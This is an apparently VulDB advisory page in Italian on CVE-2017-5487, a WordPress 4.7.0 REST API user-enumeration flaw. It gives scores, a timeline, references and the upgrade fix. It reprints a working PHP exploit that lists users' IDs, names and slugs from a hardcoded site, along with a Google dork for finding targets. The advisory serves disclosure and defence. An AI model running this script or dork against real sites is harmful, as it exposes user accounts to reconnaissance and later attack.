WordPress 4.7.0 REST API class-wp-rest-users-controller.php rivelazione di informazioni
| CVSS Punteggio meta temporaneo | Prezzo attuale dell'exploit (≈) | Punteggio di interesse CTI |
|---|---|---|
| 5.1 | $0-$5k | 0.63 |
Riassunto
È stata individuata una vulnerabilità classificata come problematico in WordPress 4.7.0. Da questa vulnerabilità è interessato una funzione sconosciuta del file wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php del componente REST API. Attraverso l'influenza di un input sconosciuto per mezzo di una vulerabilità di classe rivelazione di informazioni. Questo punto di criticità è identificato come CVE-2017-5487. Dalla rete può partire l'attacco. Inoltre, è presente un exploit disponibile. Si raccomanda di procedere con l’aggiornamento del componente interessato.
Dettagli
È stata rilevata una vulnerabilità di livello problematico in WordPress 4.7.0 (Content Management System). É interessato una funzione sconosciuta del file wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php del componente REST API. Mediante la manipolazione di un input sconosciuto per mezzo di una vulerabilità di classe rivelazione di informazioni. Gli effetti sono noti per la riservatezza.
Data di scoperta del problema 11/01/2017. La vulnerabilità è stata pubblicata in data 15/01/2017 da Dctor (oss-sec) (confermato). L'advisory è scaricabile da openwall.com. Questo punto di criticità è identificato come CVE-2017-5487. Lo sfruttamento è riconosciuto come facile. L'attacco può essere lanciato da remoto. Per l'uso non è richiesta un'autentificazione. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.
Un metodo di utilizzo è stato sviluppato da Dctor in PHP ed è stata pubblicata 2 mesi dopo il comunicato. L'exploit è scaricabile da exploit-db.com. È stato dichiarato come funzionale. Cercando inurl:wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php è possibile trovare obiettivi vulnerabili con Google Hacking. Per lo scanned Nessus, è disponibile un plugin, numero ID 96606 (WordPress < 4.7.1 Multiple Vulnerabilities), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:
header ('Content-type: text/html; charset=UTF-8');
$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}L'aggiornamento alla versione 4.7.1 elimina questa vulnerabilità. L'aggiornamento è scaricabile da github.com. Una possibile soluzione è stata pubblicata già prima e non dopo la pubblicazione della vulnerabilità.
La vulnerabilità è documentata anche nel database Exploit-DB (41497), Tenable (96606) e SecurityFocus (BID 95391†). Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Prodotto
Genere
Nome
Versione
Licenza
Sito web
- Prodotto: https://wordpress.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vettore: 🔍VulDB Affidabilità: 🔍
CVSSv3
VulDB Punteggio meta-base: 5.3VulDB Punteggio meta temporaneo: 5.1
VulDB Punteggio di base: 5.3
VulDB Punteggio temporaneo: 4.9
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 5.3
NVD Vettore: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vettore | Complessità | Autenticazione | Riservatezza | Integrità | Disponibilità |
|---|---|---|---|---|---|
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 🔍
Sfruttamento
Classe: Rivelazione di informazioniCWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍
Fisico: No
Locale: No
Remoto: Si
Disponibilità: 🔍
Accesso: Pubblico
Stato: Funzionale
Autore: Dctor
Linguaggio di programmazione: 🔍
Scaricare: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Previsione dei prezzi: 🔍
Preventivo attuale: 🔍
| 0-Day | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
|---|---|---|---|---|
| Oggi | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
Nessus ID: 96606
Nessus Nome: WordPress < 4.7.1 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Famiglia: 🔍
Nessus Context: 🔍
OpenVAS ID: 100908
OpenVAS Nome: WordPress json User Enumeration Vulnerability
OpenVAS File: 🔍
OpenVAS Famiglia: 🔍
Qualys ID: 🔍
Qualys Nome: 🔍
Exploit-DB: 🔍
Intelligence sulle minacce
Interesse: 🔍Attori attivi: 🔍
Gruppi APT attivi: 🔍
Contromisure
Raccomandazione: AggiornamentoStato: 🔍
Tempo 0 giorni: 🔍
Tempo di ritardo sfruttamento: 🔍
Aggiornamento: WordPress 4.7.1
Patch: github.com
Sequenza temporale
11/01/2017 🔍11/01/2017 🔍
11/01/2017 🔍
14/01/2017 🔍
14/01/2017 🔍
15/01/2017 🔍
15/01/2017 🔍
18/01/2017 🔍
03/03/2017 🔍
03/03/2017 🔍
13/05/2026 🔍
Fonti
Prodotto: wordpress.comAvis: daf358983cc1ce0c77bf6d2de2ebbb43df2add60
Ricercatore: Dctor
Stato: Confermato
Conferma: 🔍
CVE: CVE-2017-5487 (🔍)
GCVE (CVE): GCVE-0-2017-5487
GCVE (VulDB): GCVE-100-95347
SecurityFocus: 95391 - WordPress Prior to 4.7.1 Information Disclosure Vulnerability
SecurityTracker: 1037591
scip Labs: https://www.scip.ch/en/?labs.20161013
Vedi anche: 🔍
Voce
Data di creazione: 15/01/2017 10:40Aggiornato: 13/05/2026 12:48
Cambiamenti: 15/01/2017 10:40 (88), 08/06/2020 09:18 (3), 28/10/2022 20:06 (5), 17/11/2025 05:06 (14), 13/05/2026 12:48 (1)
Completa: 🔍
Cache ID: 216::103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Ancora nessun commento. Lingue: it + ro + en.
Effettua il login per commentare.